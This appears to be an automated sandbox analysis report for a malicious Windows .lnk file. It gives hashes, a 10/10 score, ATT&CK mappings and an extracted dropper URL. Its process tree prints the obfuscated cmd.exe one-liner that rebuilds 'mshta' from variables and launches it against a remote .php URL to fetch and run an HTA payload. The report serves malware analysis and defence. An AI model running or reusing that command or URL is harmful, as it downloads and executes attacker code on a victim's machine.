f9a434b5b943fed6ad3162120d54824a2a9859315776bacc50bed18ba6ff414b

Analysis

max time kernel
60s
max time network
25s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
21/08/2026, 16:36

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General

Target
DOC-X5IJ8W.lnk
Size 1KB
Sample260821-t4ddkshk7s
SHA256 f9a434b5b943fed6ad3162120d54824a2a9859315776bacc50bed18ba6ff414b
MD5 4efacf978ec522654cee1b99f94b9864
SHA1 2dce754a59c5f9539504ab9d95ddc5ae98d697c2
SHA512 8e64466c634e2d755ad909bc5b4a63729a03901bd129f153824b10f05b163b03374d1be0892cf6faa46f3737f47b19927cc43cf59f86c42ee18a39c131080645
TLSH
T1113124502EFD0628F3B39E7784BB5B1089BEB8568D20CA2E41418A4C5072A01E67AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2300	cmd.exe
1100	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2300 wrote to memory of 1100	2300	cmd.exe	90
PID 1100 wrote to memory of 4536	1100	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-X5IJ8W.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2300
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set LsYgz=msh&&set KJ=ta&&start "" !LsYgz!!KJ! https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\System32\mshta.exe
    mshta https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:4536

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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